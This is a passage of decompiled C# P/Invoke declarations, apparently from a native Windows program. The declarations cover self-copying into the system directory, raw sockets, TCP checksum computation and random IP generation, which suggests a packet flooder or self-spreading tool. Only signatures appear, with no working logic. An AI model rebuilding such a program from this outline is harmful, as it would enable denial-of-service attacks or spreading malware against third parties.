|||
|
[In] uint obj2,
|
|||
|
[In] uint obj3,
|
|||
|
[In] byte* obj4,
|
|||
|
[In] uint obj5);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe int CopyFileA([In] sbyte* obj0, [In] sbyte* obj1, [In] int obj2);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe sbyte* strcat([In] sbyte* obj0, [In] sbyte* obj1);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe uint GetSystemDirectoryA([In] sbyte* obj0, [In] uint obj1);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe void* @new([In] uint obj0);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe sbyte* strcpy([In] sbyte* obj0, [In] sbyte* obj1);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe uint GetModuleFileNameA([In] HINSTANCE__* obj0, [In] sbyte* obj1, [In] uint obj2);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe uint GetCurrentDirectoryA([In] uint obj0, [In] sbyte* obj1);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe uint resolution_de_nom([In] bool obj0, [In] sbyte* obj1);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern ushort htons([In] ushort obj0);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern uint GetTickCount();
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern void srand([In] uint obj0);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe sbyte* dimensionnement_de_data_a_envoyer(
|
|||
|
[In] bool obj0,
|
|||
|
[In] sbyte* obj1,
|
|||
|
[In] uint obj2);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe double strtod([In] sbyte* obj0, [In] sbyte** obj1);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern int rand();
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern uint generation_d_une_adresse_ip_aleatoire([In] int obj0);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern int WSACleanup();
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern int closesocket([In] uint obj0);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe int sendto(
|
|||
|
[In] uint obj0,
|
|||
|
[In] sbyte* obj1,
|
|||
|
[In] int obj2,
|
|||
|
[In] int obj3,
|
|||
|
[In] sockaddr* obj4,
|
|||
|
[In] int obj5);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe void* memcpy([In] void* obj0, [In] void* obj1, [In] uint obj2);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe ushort calcul_du_checksum_tcp(
|
|||
|
[In] bool obj0,
|
|||
|
[In] uint obj1,
|
|||
|
[In] uint obj2,
|
|||
|
[In] tcp obj3,
|
|||
|
[In] sbyte* obj4);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe int setsockopt(
|
|||
|
[In] uint obj0,
|
|||
|
[In] int obj1,
|
|||
|
[In] int obj2,
|
|||
|
[In] sbyte* obj3,
|
|||
|
[In] int obj4);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern uint socket([In] int obj0, [In] int obj1, [In] int obj2);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe int WSAStartup([In] ushort obj0, [In] WSAData* obj1);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern int WSAGetLastError();
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern unsafe sbyte* inet_ntoa([In] in_addr obj0);
|
|||
|
|
|||
|
[SuppressUnmanagedCodeSecurity]
|
|||
|
[MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)]
|
|||
|
public static extern uint _mainCRTStartup();
|
|||
|
}
|